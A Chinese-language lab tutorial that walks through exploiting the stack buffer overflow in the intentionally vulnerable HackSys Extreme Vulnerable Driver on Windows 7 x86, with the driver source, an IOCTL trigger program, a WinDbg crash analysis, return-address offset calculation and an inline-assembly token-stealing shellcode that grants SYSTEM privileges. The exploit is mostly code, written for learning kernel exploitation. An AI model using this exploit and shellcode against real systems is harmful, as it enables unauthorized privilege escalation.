内核缓冲区溢出学习之第一个内核缓冲区溢出提权

打造双机调试环境自己搜索资料

首先加载有漏洞的驱动

使用OSR加载内存

之后我们可以从windbg查看加载的模块,命令:lm

看一下第一个StackOverflow的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include "StackOverflow.h"

#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerStackOverflow)
#pragma alloc_text(PAGE, StackOverflowIoctlHandler)
#endif // ALLOC_PRAGMA

#pragma auto_inline(off)

/// <summary>
/// Trigger the Stack Overflow Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <param name="Size">Size of the user mode buffer</param>
/// <returns>NTSTATUS</returns>
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0}; //内核buffer

//这个宏可以确保调用线程运行在一个允许分页的足够低IRQL级别。
PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
// The ProbeForRead routine checks that a user-mode buffer actually resides in the user portion of the address space, and is correctly aligned.
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

// 输出调试信息
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
// 这个是安全的,应该这里以内核buffer的大小做复制
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");

// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

/// <summary>
/// Stack Overflow Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS StackOverflowIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) {
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;

UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();

UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

if (UserBuffer) {
// 触发缓冲区溢出
Status = TriggerStackOverflow(UserBuffer, Size);
}

return Status;
}

#pragma auto_inline()

这个代码的漏洞原理很简单,就是下面这一行,最后的size是用户可控的,而不是安全的sizeof(KernelBuffer)

1
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

先了解一下程序

我们从ida可以看到IOCTL为0x222003时跳转到StackOverflowIoctlHandler

接下来我们进入TriggerStackOverflow函数看看,可以看到KernelBuffer的大小为0x800(0x81c-0x1c)

我们开始编写程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char const *argv[])
{
HANDLE hDevice;
DWORD length = 0;
BOOL ret;
char UserBuffer[] = "giantbranch";

// 打开设备驱动(下面为什么这么多\,因为转义啊)
hDevice = CreateFile("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);

if (hDevice == INVALID_HANDLE_VALUE)
{
printf("打开设备驱动出错\n");
}

ret = DeviceIoControl(hDevice, //驱动句柄
0x222003, //IoControlCode
UserBuffer, //输入缓冲区指针
11, //输入缓冲区长度
NULL, //输出缓冲区指针
0, //输出缓冲区长度
&length, //返回实际的数据字节数
NULL);

if (!ret)
{
printf("DeviceIoControl失败\n");
}
else{
printf("DeviceIoControl成功\n");
}

CloseHandle(hDevice);


return 0;
}

运行

但是windbg没有任何回应啊

后来发现是什么没开什么的(http://www.osronline.com/article.cfm?article=295)

使用 ed nt!Kd_DEFAULT_MASK 8 即可收到DbgPrint的输出,我们重启启动驱动就可以看到输出了

在运行我们编写的程序,就可以看到输出了,可以看到成功打入含有缓冲区溢出的代码

我们发送下面的字符看看

1
2
3
4
memset(UserBuffer, 0x41, UserBufferSize);
for (int i = 0; i < 52; i = i + 4){
memset(UserBuffer + 2048 + i , 0x41 + i , 4);
}

果然崩溃了,!analyze -v分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
1: kd> !analyze -v
Connected to Windows 7 7601 x86 compatible target at (Thu Aug 24 16:02:14.817 2017 (UTC + 8:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
..........................
Loading User Symbols
....
Loading unloaded module list
.......
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

Unknown bugcheck code (0)
Unknown bugcheck description
Arguments:
Arg1: 00000000
Arg2: 00000000
Arg3: 00000000
Arg4: 00000000

Debugging Details:
------------------

*** ERROR: Symbol file could not be found. Defaulted to export symbols for KERNELBASE.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -
*** WARNING: Unable to verify checksum for ConsoleApplication1.exe
*** ERROR: Module load completed but symbols could not be loaded for ConsoleApplication1.exe

PROCESS_NAME: ConsoleApplica

FAULTING_IP:
+1b
61616161 ?? ???

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 61616161
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000008
Parameter[1]: 61616161
Attempt to execute non-executable address 61616161

ERROR_CODE: (NTSTATUS) 0xc0000005 - 0x%p

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%p

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 61616161

WRITE_ADDRESS: 61616161

FOLLOWUP_IP:
nt!IofCallDriver+63
84288086 5e pop esi

FAILED_INSTRUCTION_ADDRESS:
+d3d2faf0bc1dbfc
61616161 ?? ???

BUGCHECK_STR: ACCESS_VIOLATION

DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT

CURRENT_IRQL: 0

LAST_CONTROL_TRANSFER: from 6d6d6d6d to 61616161

STACK_TEXT:
WARNING: Frame IP not in any known module. Following frames may be wrong.
8fe7badc 6d6d6d6d 71717171 88f5a5a0 88f5a610 0x61616161
8fe7bafc 84288086 86b73030 88f5a5a0 88f5a5a0 0x6d6d6d6d
8fe7bb14 8447ccb9 87c50bc8 88f5a5a0 88f5a610 nt!IofCallDriver+0x63
8fe7bb34 8447fea2 86b73030 87c50bc8 00000000 nt!IopSynchronousServiceTail+0x1f8
8fe7bbd0 844c647c 86b73030 88f5a5a0 00000000 nt!IopXxxControlFile+0x6aa
8fe7bc04 8428ed26 0000001c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
8fe7bc04 77547024 0000001c 00000000 00000000 nt!KiSystemServicePostCall
0020f920 77545804 75779965 0000001c 00000000 ntdll!KiFastSystemCallRet
0020f924 75779965 0000001c 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
0020f984 765cba7d 0000001c 00222003 0051a430 KERNELBASE!DeviceIoControl+0xe9
0020f9b0 003910d7 0000001c 00222003 0051a430 kernel32!DeviceIoControl+0x48
0020f9f0 003912da 00000001 00516dd0 00519d10 ConsoleApplication1+0x10d7
0020fa38 765cee2c 7ffdf000 0020fa84 7756393e ConsoleApplication1+0x12da
0020fa44 7756393e 7ffdf000 7751f61c 00000000 kernel32!BaseThreadInitThunk+0x12
0020fa84 77563911 00391357 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70
0020fa9c 00000000 00391357 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: kb

SYMBOL_STACK_INDEX: 2

SYMBOL_NAME: nt!IofCallDriver+63

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: nt

IMAGE_NAME: ntkrpamp.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 54011f7f

FAILURE_BUCKET_ID: ACCESS_VIOLATION_BAD_IP_nt!IofCallDriver+63

BUCKET_ID: ACCESS_VIOLATION_BAD_IP_nt!IofCallDriver+63

Followup: MachineOwner
---------

我们算一下,加入按0x61的偏移算的话,0x61-0x41 = 32
由于我上面的代码是一次+4的,所以这个就是偏移,所以最终是2048+32 = 2080

其实因为buffer在ebp-0x81c处,0x81c=2076,在加4,因为ebp,那么返回地址就是2080

修改我们发送的字符串

1
2
3
4
5
memset(UserBuffer, 0x41, UserBufferSize);
UserBuffer[2080] = (DWORD)&TokenStealingShellcodeWin7 & 0x000000FF;
UserBuffer[2080 + 1] = ((DWORD)&TokenStealingShellcodeWin7 & 0x0000FF00) >> 8;
UserBuffer[2080 + 2] = ((DWORD)&TokenStealingShellcodeWin7 & 0x00FF0000) >> 16;
UserBuffer[2080 + 3] = ((DWORD)&TokenStealingShellcodeWin7 & 0xFF000000) >> 24;

还有UserBufferSize改为2084,因为过长,溢出会覆盖一些栈上的变量,可能是TriggerStackOverflow函数上层的其他变量,导致执行失败

再用一下别人的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID

VOID TokenStealingShellcodeWin7() {
__asm {
; initialize
pushad; save registers state

mov eax, fs:[KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

mov ecx, eax; Copy current _EPROCESS structure

mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
popad; restore registers state

; recovery
xor eax, eax; Set NTSTATUS SUCCEESS
add esp, 12; fix the stack
pop ebp
ret 8
}
}

之后就可以成功获取最高权限了

参考:
https://sizzop.github.io/2016/07/05/kernel-hacking-with-hevd-part-1.html
http://www.fuzzysecurity.com/tutorials/expDev/14.html
http://www.osronline.com/article.cfm?article=295
https://github.com/sam-b/HackSysDriverExploits/tree/master/HackSysDriverStackoverflowExploit
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

自愿打赏专区